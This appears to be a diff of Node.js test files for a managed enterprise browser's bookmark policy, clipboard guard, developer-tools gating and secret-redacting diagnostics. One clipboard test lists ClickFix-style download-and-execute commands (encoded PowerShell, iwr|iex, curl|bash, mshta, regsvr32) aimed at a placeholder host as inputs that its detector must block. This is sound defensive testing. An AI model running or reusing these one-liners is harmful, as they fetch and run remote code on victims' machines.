test('managed immutability, user permissions and admin read permission enforced at APIs',async t=>{const {api,enroll}=await fixture(t),a=await enroll();let p=(await api('/api/admin/overview')).body.policy;p.browser.bookmarks.managed=[entry];p.browser.bookmarks.allowUserAdd=false;p.version++;assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:{...entry,id:'personal'},expectedRevision:0,policyVersion:2}})).status,403);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`,{method:'PUT',body:{expectedRevision:0,policyVersion:2,items:[{...entry,id:'personal'}]}})).status,200);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'delete',id:entry.id,expectedRevision:1,policyVersion:2}})).status,403);p.version++;p.browser.bookmarks.adminReadUserBookmarks=false;assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`)).status,403);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`,{method:'PUT',body:{expectedRevision:1,policyVersion:3,items:[]}})).status,403);});
|
||||
test('global policy refuses device personal data and managed ID collisions',async t=>{const {api,enroll}=await fixture(t),a=await enroll();await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}});let p=(await api('/api/admin/overview')).body.policy;p.version++;p.browser.bookmarks.personal={revision:1,items:[entry]};assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,400);p.browser.bookmarks.personal={revision:0,items:[]};p.browser.bookmarks.managed=[entry];assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,400);});
|
||||
test('bookmark canonicalization rejects Unicode URL expansion and oversized collections',()=>{assert.equal(BookmarkSchema.parse({...entry,url:'https://EXAMPLE.com'}).url,'https://example.com/');assert.equal(BookmarkSchema.safeParse({...entry,url:'https://example.com/'+ '界'.repeat(1000)}).success,false);const bulky=Array.from({length:100},(_,i)=>({...entry,id:'id'+i,url:'https://example.com/'+ 'a'.repeat(2000),title:'界'.repeat(120),folder:'界'.repeat(80)}));assert.equal(BookmarkItemsSchema.safeParse(bulky).success,false);});
|
||||
|
||||
test('snapshot signatures reject tampering and expired policy and revoked devices cannot mutate',async t=>{const {store,api,enroll}=await fixture(t),a=await enroll(),env=(await api('/api/device/policy',{token:a.token})).body;const modified=structuredClone(env.bookmarks);modified.payload.items=[entry];assert.throws(()=>verifyBookmarkSnapshot(modified,a.publicKey,{deviceId:a.id,policyVersion:1}));assert.throws(()=>verifyBookmarkSnapshot(env.bookmarks,a.publicKey,{deviceId:a.id,policyVersion:1,now:Date.parse(env.bookmarks.payload.expiresAt)+1}));const p=store.get('policy');p.expiresAt=new Date(Date.now()-1000).toISOString();store.put('policy',p);assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}})).status,403);await api(`/api/admin/devices/${a.id}/revoke`,{body:{}});assert.equal((await api('/api/device/bookmarks',{token:a.token,body:{action:'add',bookmark:entry,expectedRevision:0,policyVersion:1}})).status,401);assert.equal((await api(`/api/admin/devices/${a.id}/bookmarks`)).status,404);});
|
||||
@@ -0,0 +1,51 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { createRequire } from 'node:module';
|
||||
import vm from 'node:vm';
|
||||
import { defaultPolicy } from '../packages/core/policy.mjs';
|
||||
const require=createRequire(import.meta.url),{createClipboardGuard}=require('../apps/browser/clipboard-guard.cjs'),{clipboardScript}=require('../apps/browser/clipboard-dom.cjs');
|
||||
const deferred=()=>{let resolve;const promise=new Promise(r=>resolve=r);return{promise,resolve};};
|
||||
function guardFixture(inspect){
|
||||
const frame={},webContents={mainFrame:frame,focusedFrame:frame};let context={ready:true,policy:defaultPolicy(),url:'https://company.example/login',navigationId:1,webContents};const writes=[],commits=[],discards=[],audit=[];
|
||||
const guard=createClipboardGuard({getContext:()=>context,stage:async()=>({text:'public selected text'}),validate:async()=>({completed:true}),commit:async args=>{commits.push(args);return{completed:true};},discard:async args=>discards.push(args),readClipboard:()=> 'public pasted text',writeClipboard:text=>writes.push(text),inspect,audit:async(...args)=>audit.push(args),timeoutMs:25});
|
||||
return{guard,webContents,writes,commits,discards,audit,context:()=>context,setContext:c=>{context=c;}};
|
||||
}
|
||||
test('independent clipboard review: changed policy, navigation or readiness prevents release after scanning',async()=>{
|
||||
for(const changed of ['policy','url','navigationId','ready']){const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;});const operation=f.guard.perform('copy',f.webContents);await started.promise;const context={...f.context()};context[changed]=changed==='policy'?{...context.policy,version:2}:changed==='url'?'https://other.example/':changed==='navigationId'?2:false;f.setContext(context);pending.resolve({decision:'allow'});assert.equal((await operation).completed,false,changed);assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);assert.equal(f.discards.length,1);assert.equal(JSON.stringify(f.audit).includes('public selected text'),false);}
|
||||
});
|
||||
test('independent clipboard review: timeout does not authorize delayed inspection completion',async()=>{
|
||||
const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;});const operation=f.guard.perform('paste',f.webContents);await started.promise;const result=await operation;assert.equal(result.ruleId,'clipboard-timeout');pending.resolve({decision:'allow'});await new Promise(r=>setImmediate(r));assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);assert.ok(f.discards.length>=1);
|
||||
});
|
||||
|
||||
test('switching away and back during scan invalidates clipboard authorization',async()=>{
|
||||
const pending=deferred(),started=deferred(),f=guardFixture(async()=>{started.resolve();return pending.promise;});
|
||||
f.setContext({...f.context(),tabId:'tab-a',activation:1});
|
||||
const operation=f.guard.perform('copy',f.webContents);await started.promise;
|
||||
f.setContext({...f.context(),tabId:'tab-a',activation:3});
|
||||
pending.resolve({decision:'allow'});assert.equal((await operation).completed,false);
|
||||
assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);
|
||||
});
|
||||
test('independent clipboard review: focused nested frame cannot request a main-frame copy',async()=>{
|
||||
const f=guardFixture(async()=>({decision:'allow'}));f.webContents.focusedFrame={};assert.equal((await f.guard.perform('copy',f.webContents)).completed,false);assert.equal(f.writes.length,0);assert.equal(f.commits.length,0);
|
||||
});
|
||||
test('independent clipboard review: failed native clipboard write cannot delete a cut selection',async()=>{
|
||||
const frame={},webContents={mainFrame:frame,focusedFrame:frame},context={ready:true,policy:defaultPolicy(),url:'https://company.example/',navigationId:1,webContents};let mutations=0,discarded=0;
|
||||
const guard=createClipboardGuard({getContext:()=>context,stage:async()=>({text:'selected public text'}),validate:async()=>({completed:true}),commit:async()=>{mutations++;return{completed:true};},discard:async()=>{discarded++;},readClipboard:()=>'',writeClipboard:()=>{throw Error('Native write failed');},inspect:async()=>({decision:'allow'}),audit:async()=>{}});
|
||||
assert.equal((await guard.perform('cut',webContents)).completed,false);assert.equal(mutations,0);assert.equal(discarded,1);
|
||||
});
|
||||
function domFixture(){
|
||||
const matches=(node,selector)=>{selector=selector.trim();if(selector.startsWith('[')){const match=/^\[([^=\]]+)(?:="([^"]+)")?\]$/.exec(selector);return !!match&&Object.hasOwn(node.attributes,match[1])&&(match[2]===undefined||node.attributes[match[1]]===match[2]);}return node.tagName.toLowerCase()===selector;};
|
||||
const element=(tag,parent=null,attributes={})=>{const e={nodeType:1,tagName:tag.toUpperCase(),parentElement:parent,attributes,children:[],isConnected:true,type:attributes.type||'',style:{display:'block',visibility:'visible',opacity:'1'},getAttribute:name=>e.attributes[name]??null,getClientRects:()=>[{width:100,height:16}],closest:selector=>{for(let p=e;p;p=p.parentElement)if(selector.split(',').some(s=>matches(p,s)))return p;return null;},querySelector:selector=>descendants(e).find(n=>selector.split(',').some(s=>matches(n,s)))||null};parent?.children.push(e);return e;};
|
||||
const descendants=e=>e.children.flatMap(c=>[c,...descendants(c)]),body=element('body'),paragraph=element('p',body),child=element('span',paragraph),range={commonAncestorContainer:paragraph,startContainer:paragraph,endContainer:paragraph,startOffset:0,endOffset:1,toString:()=> 'public text with selected hidden content',cloneRange(){return{...this};},intersectsNode:()=>true},selection={rangeCount:1,isCollapsed:false,getRangeAt:()=>range};
|
||||
const document={body,activeElement:body,createTreeWalker:root=>{const nodes=descendants(root);let index=0;return{nextNode:()=>nodes[index++]||null};}},window={};window.top=window;
|
||||
const sandbox={window,document,location:{href:'https://company.example/'},NodeFilter:{SHOW_ELEMENT:1},getSelection:()=>selection,getComputedStyle:e=>e.style,Event:class{}};vm.createContext(sandbox);
|
||||
const execute=(mode='stage',operation='copy')=>vm.runInContext(clipboardScript(mode,{url:sandbox.location.href,token:'trusted-token',operation,text:'public replacement',limit:1024}),sandbox);
|
||||
return{sandbox,document,paragraph,child,element,range,execute};
|
||||
}
|
||||
test('independent clipboard review: selected hidden, inert, script and ancestor-transparent content is refused',()=>{
|
||||
for(const type of ['hidden','inert','aria-hidden','script','transparent']){const f=domFixture();if(type==='script')f.child.tagName='SCRIPT';else if(type==='transparent')f.paragraph.style.opacity='0';else f.child.attributes[type]=type==='aria-hidden'?'true':'';assert.throws(()=>f.execute(),undefined,type);assert.equal(f.sandbox.__safetynetClipboardSnapshot,undefined);}
|
||||
const publicRange=domFixture();assert.equal(publicRange.execute().text,'public text with selected hidden content');publicRange.child.attributes.hidden='';assert.throws(()=>publicRange.execute('commit'));assert.equal(publicRange.sandbox.__safetynetClipboardSnapshot,undefined);
|
||||
});
|
||||
test('independent clipboard review: password fields and parent-hidden text fields never reach the scanner',()=>{
|
||||
for(const type of ['password','secret-name','transparent']){const f=domFixture(),input=f.element('input',f.paragraph,{type:type==='password'?'password':'text',...(type==='secret-name'?{name:'api_token'}:{})});Object.assign(input,{value:'private field secret',selectionStart:0,selectionEnd:20,disabled:false,readOnly:false});f.document.activeElement=input;if(type==='transparent')f.paragraph.style.opacity='0';assert.throws(()=>f.execute());assert.equal(f.sandbox.__safetynetClipboardSnapshot,undefined);}
|
||||
});
|
||||
@@ -0,0 +1,46 @@
|
||||
// Isolated native proof fixture; never loaded by the application.
|
||||
const {app,BrowserWindow,ipcMain,clipboard,ClipboardItem}=require('electron');
|
||||
const fs=require('node:fs'),path=require('node:path'),os=require('node:os'),http=require('node:http');
|
||||
const {attachPageClipboardGuard,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs');
|
||||
const profile=fs.mkdtempSync(path.join(os.tmpdir(),'safetynet-frame-proof-profile-'));
|
||||
app.setPath('userData',profile);app.setPath('sessionData',profile);
|
||||
app.enableSandbox();app.disableHardwareAcceleration();
|
||||
const temporary=path.join(os.tmpdir(),`safetynet-frame-proof-${process.pid}.cjs`),records=[];
|
||||
const control=process.env.SAFETYNET_CLIP_PROOF_CONTROL==='1';
|
||||
const hooks=control?'':fs.readFileSync(path.resolve('apps/browser/site-preload.cjs'),'utf8');
|
||||
fs.writeFileSync(temporary,hooks+`\nlet fsDenied=false;try{require('node:fs');}catch{fsDenied=true;}require('electron').ipcRenderer.send('frame-proof',{main:process.isMainFrame,sandboxed:process.sandboxed,contextIsolated:process.contextIsolated,fsDenied,url:location.href});`);
|
||||
ipcMain.on('managed:visual-policy',event=>{event.returnValue={enabled:false};});
|
||||
ipcMain.on('frame-proof',(event,value)=>records.push({...value,processId:event.senderFrame.processId}));
|
||||
const timeout=setTimeout(()=>app.exit(1),15000);
|
||||
app.whenReady().then(async()=>{let win,server,original;try{
|
||||
original=[];for(const item of await clipboard.read()){const data={};for(const type of item.types)data[type]=await item.getType(type);original.push(new ClipboardItem(data));}await clipboard.writeText('frame-proof-sentinel');
|
||||
server=http.createServer((req,res)=>{res.setHeader('content-type','text/html');res.end(req.url==='/child'?'<textarea id="a">frame-proof-secret</textarea>':`<h1>Frame proof</h1><iframe id="child" srcdoc="<p>Frame text</p>"></iframe><iframe id="cross" src="http://localhost:${server.address().port}/child"></iframe>`);});await new Promise(resolve=>server.listen(0,'127.0.0.1',resolve));
|
||||
win=new BrowserWindow({show:true,webPreferences:{sandbox:true,contextIsolation:true,nodeIntegration:false,nodeIntegrationInSubFrames:true,preload:temporary}});await win.loadURL('about:blank');
|
||||
if(control){win.webContents.debugger.attach('1.3');await win.webContents.debugger.sendCommand('Page.enable',{});await win.webContents.debugger.sendCommand('Page.addScriptToEvaluateOnNewDocument',{source:'void 0;'});}
|
||||
else await attachPageClipboardGuard(win.webContents,()=>{throw Error('Proof guard detached');});
|
||||
await win.loadURL(`http://127.0.0.1:${server.address().port}/`);win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,300));
|
||||
win.show();win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,500));
|
||||
const srcdoc=await win.webContents.executeJavaScript(`(()=>{const frame=document.getElementById('child'),d=frame.contentDocument;d.body.innerHTML='<textarea id="a">frame-proof-secret</textarea>';const a=d.getElementById('a');a.focus();a.select();return {copied:d.execCommand('copy'),node:typeof frame.contentWindow.require,process:typeof frame.contentWindow.process,bridge:typeof frame.contentWindow.safetynet};})()`,true);
|
||||
const srcdocFrame=win.webContents.mainFrame.frames.find(frame=>frame.url==='about:srcdoc');
|
||||
const srcdocActivated=await srcdocFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy')};})()`,true);
|
||||
await new Promise(resolve=>setTimeout(resolve,300));
|
||||
const srcdocSafe=await clipboard.readText()==='frame-proof-sentinel';
|
||||
await clipboard.writeText('frame-proof-sentinel');
|
||||
const blank=await win.webContents.executeJavaScript(`(()=>{const frame=document.createElement('iframe');document.body.append(frame);const d=frame.contentDocument;d.body.innerHTML='<textarea id="a">frame-proof-secret</textarea>';const a=d.getElementById('a');a.focus();a.select();return {copied:d.execCommand('copy'),node:typeof frame.contentWindow.require,process:typeof frame.contentWindow.process};})()`,true);
|
||||
const blankFrame=win.webContents.mainFrame.frames.at(-1);
|
||||
const blankActivated=await blankFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy'),node:typeof require,process:typeof process};})()`,true);
|
||||
await new Promise(resolve=>setTimeout(resolve,300));
|
||||
const blankSafe=await clipboard.readText()==='frame-proof-sentinel';await new Promise(resolve=>setTimeout(resolve,100));
|
||||
await clipboard.writeText('frame-proof-sentinel');
|
||||
const crossFrame=win.webContents.mainFrame.frames.find(frame=>frame.url.includes('localhost'));
|
||||
win.show();win.focus();win.webContents.focus();await new Promise(resolve=>setTimeout(resolve,500));
|
||||
const cross=await crossFrame.executeJavaScript(`(()=>{const a=document.getElementById('a');a.focus();a.select();return {copied:document.execCommand('copy'),node:typeof require,process:typeof process,bridge:typeof safetynet};})()`,true);
|
||||
await new Promise(resolve=>setTimeout(resolve,300));
|
||||
const crossSafe=await clipboard.readText()==='frame-proof-sentinel';
|
||||
const mainProcess=records.find(r=>r.main)?.processId,crossProcess=records.find(r=>r.url.includes('localhost'))?.processId;
|
||||
const oopif=Number.isInteger(mainProcess)&&Number.isInteger(crossProcess)&&crossProcess!==mainProcess;
|
||||
console.log(JSON.stringify({control,records,srcdoc,srcdocActivated,srcdocSafe,blank,blankActivated,blankSafe,cross,crossSafe,oopif}));
|
||||
const protectedExpected=srcdocSafe&&blankSafe&&crossSafe;
|
||||
const controlExpected=srcdocActivated.copied===true&&blankActivated.copied===true&&cross.copied===true&&!srcdocSafe&&!blankSafe&&!crossSafe;
|
||||
if(original.length)await clipboard.write(original);else await clipboard.clear();if(!control)disposePageClipboardGuard(win.webContents);win.destroy();server.close();clearTimeout(timeout);fs.unlinkSync(temporary);app.exit((control?controlExpected:protectedExpected)&&oopif&&records.every(r=>r.sandboxed&&r.contextIsolated&&r.fsDenied)?0:1);
|
||||
}catch(error){console.log(JSON.stringify({fixtureError:error.name,message:error.message}));if(original?.length)await clipboard.write(original).catch(()=>{});if(win&&!control)disposePageClipboardGuard(win.webContents);win?.destroy();server?.close();clearTimeout(timeout);try{fs.unlinkSync(temporary);}catch{}app.exit(1);}});
|
||||
@@ -0,0 +1,48 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { defaultPolicy,PolicySchema,signPolicy,verifyPolicy } from '../packages/core/policy.mjs';
|
||||
import { detectClickFix,inspectClipboard } from '../packages/core/clipboard.mjs';
|
||||
import { generateKeyPairSync } from 'node:crypto';
|
||||
import { toECS,toCEF } from '../packages/core/siem.mjs';
|
||||
test('clipboard policy is signed, defaults protected, and unsafe fields are rejected',()=>{
|
||||
const p=defaultPolicy();assert.deepEqual(p.security.clipboard,{enabled:true,allowCopy:true,allowCut:true,allowPaste:true,blockSuspiciousCommands:true,failClosed:true,maxTextBytes:1048576});
|
||||
const keys=generateKeyPairSync('ed25519'),privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'});p.security.clipboard.allowCopy=false;assert.equal(verifyPolicy(signPolicy(p,privateKey),publicKey).security.clipboard.allowCopy,false);
|
||||
for(const field of [{failClosed:false},{maxTextBytes:1048577},{maxTextBytes:0},{allowPaste:'yes'},{captureText:true}])assert.equal(PolicySchema.safeParse({...p,security:{...p.security,clipboard:{...p.security.clipboard,...field}}}).success,false);
|
||||
});
|
||||
test('ClickFix blocks high-risk Windows and Unix execution chains including simple obfuscation',()=>{
|
||||
const commands=[
|
||||
'powershell.exe -NoProfile -EncodedCommand SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==',
|
||||
'powershell -ec VABFAFMAVAA=',
|
||||
'pwsh -en VABFAFMAVAA=',
|
||||
'powershell -enc cQA=',
|
||||
'po^wer`she\u200bll -enc SQBFAFgAIAAoAGkAdwByACAAaAB0AHQAcAApAA==',
|
||||
'iwr https://payload.example/script.ps1 | iex',
|
||||
'powershell -c "IEX ((New-Object Net.WebClient).DownloadString(\'https://payload.example/a\'))"',
|
||||
'mshta.exe https://payload.example/check.hta',
|
||||
'rundll32 javascript:"\\..\\mshtml,RunHTMLApplication";GetObject("script:https://payload.example/a")',
|
||||
'regsvr32 /s /u /i:https://payload.example/scrobj.sct scrobj.dll',
|
||||
'curl -fsSL https://payload.example/install.sh | bash',
|
||||
'wget -qO- https://payload.example/a | sudo sh',
|
||||
'bash -c "$(curl https://payload.example/a)"',
|
||||
'curl https://payload.example/a -o setup.exe && setup.exe',
|
||||
'curl https://payload.example/a -o setup.exe && .\\setup.exe',
|
||||
'wget https://payload.example/a -O install.sh; ./install.sh',
|
||||
'iwr https://payload.example/a -OutFile temp.exe; Start-Process temp.exe',
|
||||
'python -c "import urllib.request;exec(urllib.request.urlopen(\'https://payload.example/a\').read())"',
|
||||
encodeURIComponent('iwr https://payload.example/a | iex')
|
||||
];
|
||||
for(const command of commands)assert.equal(detectClickFix(command).decision,'block',command);
|
||||
});
|
||||
test('ordinary programming, standalone downloads and administrative commands remain allowed',()=>{
|
||||
for(const text of ['Hello world','Get-Process | Sort-Object CPU','powershell -NoProfile -Command Get-Date','curl https://example.com/data.json -o data.json','wget https://example.com/readme.txt','const result = await fetch("https://example.com/api"); console.log(result);','python -c "print(123)"','git clone https://github.com/example/project.git','npm install package','sha256sum package.exe','A description of curl and bash without a remote execution pipeline'])assert.equal(detectClickFix(text).decision,'allow',text);
|
||||
});
|
||||
test('clipboard inspection enforces permissions, mandatory DLP, expiry, coverage and detector override',()=>{
|
||||
const p=defaultPolicy(),safe='Normal public content';for(const op of ['copy','cut','paste'])assert.equal(inspectClipboard(safe,p,op).decision,'allow');
|
||||
for(const [op,key] of [['copy','allowCopy'],['cut','allowCut'],['paste','allowPaste']]){p.security.clipboard[key]=false;assert.equal(inspectClipboard(safe,p,op).ruleId,`clipboard-${op}-disabled`);p.security.clipboard[key]=true;}
|
||||
assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'block');p.security.clipboard.blockSuspiciousCommands=false;assert.equal(inspectClipboard('iwr https://payload.example/a | iex',p,'copy').decision,'allow');
|
||||
p.dlp.rules=[{id:'corporate-secret',label:'Secret',kind:'literal',value:'Secret Project',action:'block'}];p.security.clipboard.enabled=false;p.security.clipboard.allowCopy=false;assert.equal(inspectClipboard('Secret Project',p,'copy').ruleId,'corporate-secret');assert.equal(inspectClipboard('-----BEGIN PRIVATE KEY-----',p,'copy').ruleId,'private-key');assert.equal(inspectClipboard(safe,p,'copy').decision,'allow');
|
||||
assert.equal(inspectClipboard(Buffer.from([0xff]),p,'paste').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard('a\0b',p,'copy').ruleId,'clipboard-uninspectable');assert.equal(inspectClipboard({text:safe},p,'copy').decision,'block');assert.equal(inspectClipboard(safe,p,'read-file').decision,'block');p.security.clipboard.maxTextBytes=1024;assert.equal(inspectClipboard('x'.repeat(1025),p,'paste').ruleId,'clipboard-size-limit');p.expiresAt=new Date(0).toISOString();assert.equal(inspectClipboard(safe,p,'copy').ruleId,'clipboard-policy-expired');
|
||||
});
|
||||
test('clipboard SIEM events classify denied and access actions without exporting text',()=>{
|
||||
const event={id:1,time:new Date().toISOString(),device_id:'device',kind:'clipboard.block',metadata:{ruleId:'clickfix-encoded-powershell',policyVersion:1,text:'private clipboard sentinel'}};const ecs=toECS(event,'test');assert.deepEqual(ecs.event.category,['process']);assert.deepEqual(ecs.event.type,['denied']);assert.equal(JSON.stringify(ecs).includes('private clipboard'),false);assert.equal(toCEF(event).includes('private clipboard'),false);event.kind='clipboard.paste';assert.deepEqual(toECS(event).event.type,['access']);
|
||||
});
|
||||
@@ -0,0 +1,5 @@
|
||||
import test from 'node:test';import assert from 'node:assert/strict';import {EventEmitter} from 'node:events';import {createRequire} from 'node:module';const require=createRequire(import.meta.url),{createDeveloperToolsGuard,developerShortcut}=require('../apps/browser/developer-tools.cjs');
|
||||
function fixture(){const contents=new EventEmitter();let opened=false,opens=0,epoch=0;contents.isDestroyed=()=>false;contents.isDevToolsOpened=()=>opened;contents.openDevTools=()=>{opened=true;opens++;contents.emit('devtools-opened');};contents.closeDevTools=()=>{opened=false;};let context={ready:true,foreground:true,url:'https://example.com',policy:{browser:{allowDevTools:false},expiresAt:new Date(Date.now()+60000).toISOString()}};const audit=[];const guard=createDeveloperToolsGuard({contents,getContext:()=>({...context,epoch}),isCurrent:c=>c.epoch===epoch,audit:async kind=>audit.push(kind)});return {guard,contents,audit,context,opens:()=>opens,change:()=>epoch++};}
|
||||
test('developer shortcuts always handled explicitly and default deny cannot open',async()=>{const f=fixture();for(const key of ['F12','i','j'])assert.equal(developerShortcut({type:'keyDown',key,control:true,shift:true}),true);await f.guard.toggle();assert.equal(f.opens(),0);assert.ok(f.audit.includes('devtools.denied'));});
|
||||
test('signed effective grant opens only an active managed HTTP tab and toggles closed',async()=>{const f=fixture();f.context.policy.browser.allowDevTools=true;await f.guard.toggle();assert.equal(f.opens(),1);assert.equal(f.contents.isDevToolsOpened(),true);await f.guard.toggle();assert.equal(f.contents.isDevToolsOpened(),false);f.context.foreground=false;await f.guard.toggle();assert.equal(f.opens(),1);});
|
||||
test('policy or tab activation change during authorization audit prevents opening',async()=>{const f=fixture();f.context.policy.browser.allowDevTools=true;const promise=f.guard.toggle();f.change();await promise;assert.equal(f.opens(),0);f.context.policy.expiresAt=new Date(0).toISOString();await f.guard.toggle();assert.equal(f.opens(),0);});
|
||||
@@ -0,0 +1,18 @@
|
||||
import test from 'node:test';import assert from 'node:assert/strict';import {createRequire} from 'node:module';import {createServer} from 'node:http';import {DiagnosticsSchema,diagnosticsEndpointAllowed} from '../packages/core/diagnostics.mjs';
|
||||
const require=createRequire(import.meta.url),{createDiagnostics,attributes}=require('../apps/browser/diagnostics.cjs');
|
||||
const delay=ms=>new Promise(r=>setTimeout(r,ms));
|
||||
async function collector(t){const requests=[];const server=createServer((req,res)=>{const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{requests.push({path:req.url,headers:req.headers,payload:JSON.parse(Buffer.concat(chunks).toString())});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(()=>new Promise(r=>{server.closeAllConnections();server.close(r);}));return {requests,endpoint:`http://127.0.0.1:${server.address().port}`};}
|
||||
const spans=requests=>requests.filter(r=>r.path.endsWith('/traces')).flatMap(r=>r.payload.resourceSpans||[]).flatMap(r=>r.scopeSpans||[]).flatMap(r=>r.spans||[]);
|
||||
const logs=requests=>requests.filter(r=>r.path.endsWith('/logs')).flatMap(r=>r.payload.resourceLogs||[]).flatMap(r=>r.scopeLogs||[]).flatMap(r=>r.logRecords||[]);
|
||||
const config=endpoint=>DiagnosticsSchema.parse({enabled:true,mode:'debug',endpoint,sampleRate:1,debugSampleRate:1,flushIntervalMs:10000});
|
||||
test('diagnostics schema defaults disabled and rejects insecure or credentialed collectors',()=>{assert.equal(DiagnosticsSchema.parse({}).enabled,false);for(const endpoint of ['http://localhost:4318','http://10.0.0.1:4318','https://user:[email protected]','https://example.com/?token=secret','https://example.com/#secret','file:///private','ftp://example.com'])assert.equal(diagnosticsEndpointAllowed(endpoint),false,endpoint);for(const endpoint of ['https://collector.company.test/otel','http://127.0.0.1:4318','http://127.0.0.2:4318','http://[::1]:4318'])assert.equal(diagnosticsEndpointAllowed(endpoint),true);assert.equal(DiagnosticsSchema.safeParse({enabled:true}).success,false);assert.equal(DiagnosticsSchema.safeParse({enabled:false,rawContent:true}).success,false);assert.equal(DiagnosticsSchema.safeParse({maxQueueSize:999999}).success,false);});
|
||||
test('browser diagnostics exports real OTLP parent/child traces and correlated safe logs',{timeout:15000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());const secret='PASSWORD_TOKEN_SECRET_MUST_NEVER_EXPORT';const oldHeaders=process.env.OTEL_EXPORTER_OTLP_HEADERS,oldResource=process.env.OTEL_RESOURCE_ATTRIBUTES;process.env.OTEL_EXPORTER_OTLP_HEADERS=`authorization=Bearer ${secret},x-private=${secret}`;process.env.OTEL_RESOURCE_ATTRIBUTES=`secret=${secret}`;t.after(()=>{if(oldHeaders===undefined)delete process.env.OTEL_EXPORTER_OTLP_HEADERS;else process.env.OTEL_EXPORTER_OTLP_HEADERS=oldHeaders;if(oldResource===undefined)delete process.env.OTEL_RESOURCE_ATTRIBUTES;else process.env.OTEL_RESOURCE_ATTRIBUTES=oldResource;});
|
||||
assert.equal(diagnostics.configure(config(endpoint),{policyVersion:4,deviceId:'00000000-0000-4000-8000-000000000001'}),true);let calls=0;
|
||||
const result=await diagnostics.span('browser.ipc',{operation:'inspect-file',prompt:secret,url:`https://example.com/?token=${secret}`,sessionId:'00000000-0000-4000-8000-000000000002'},async()=>{calls++;const ids=diagnostics.correlation();assert.match(ids.traceId,/^[a-f0-9]{32}$/);assert.match(ids.spanId,/^[a-f0-9]{16}$/);diagnostics.event('browser.security',{decision:'allow',password:secret});return diagnostics.span('browser.inspect.local',{bytes:24,policyVersion:4},async()=>{await delay(10);return 7;});});assert.equal(result,7);assert.equal(calls,1);
|
||||
const failure=new Error(secret);await assert.rejects(diagnostics.span('browser.agent',{operation:'read',token:secret},async()=>{throw failure;}),error=>error===failure);await diagnostics.span(secret,{operation:secret},async()=>{});await diagnostics.flush();
|
||||
const traceSpans=spans(requests),logRecords=logs(requests);assert.equal(traceSpans.length,3);const parent=traceSpans.find(s=>s.name==='browser.ipc'),child=traceSpans.find(s=>s.name==='browser.inspect.local');assert.ok(parent&&child);assert.equal(child.traceId,parent.traceId);assert.equal(child.parentSpanId,parent.spanId);assert.ok(BigInt(child.endTimeUnixNano)>BigInt(child.startTimeUnixNano));assert.ok(child.attributes.some(a=>a.key==='safetynet.duration.ms'&&(a.value.doubleValue??a.value.intValue)>=1));assert.ok(logRecords.length>=3);assert.ok(logRecords.some(log=>log.traceId===parent.traceId&&log.spanId===parent.spanId));assert.equal(JSON.stringify(requests).includes(secret),false);assert.equal(requests.some(r=>r.headers.authorization||r.headers['x-private']),false);assert.ok(traceSpans.find(s=>s.name==='browser.agent').status.code===2);assert.equal(JSON.stringify(requests).includes('process.command'),false);
|
||||
});
|
||||
test('disable and reconfiguration discard queued generation before export',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure(config(endpoint));await diagnostics.span('browser.navigation',{operation:'navigate'},async()=>{});diagnostics.event('browser.security',{decision:'block'});diagnostics.configure({enabled:false});await diagnostics.flush();await delay(100);assert.equal(requests.length,0);let calls=0;await diagnostics.span('browser.navigation',{},async()=>{calls++;});assert.equal(calls,1);assert.equal(diagnostics.status().enabled,false);diagnostics.configure(config(endpoint),{policyVersion:9});await diagnostics.span('browser.navigation',{operation:'navigate'},async()=>{});await diagnostics.flush();assert.equal(spans(requests).length,1);assert.equal(spans(requests)[0].attributes.find(a=>a.key==='safetynet.policy.version').value.intValue,9);diagnostics.configure({...config(endpoint),endpoint:'http://10.0.0.1:4318'});assert.equal(diagnostics.status().enabled,false);});
|
||||
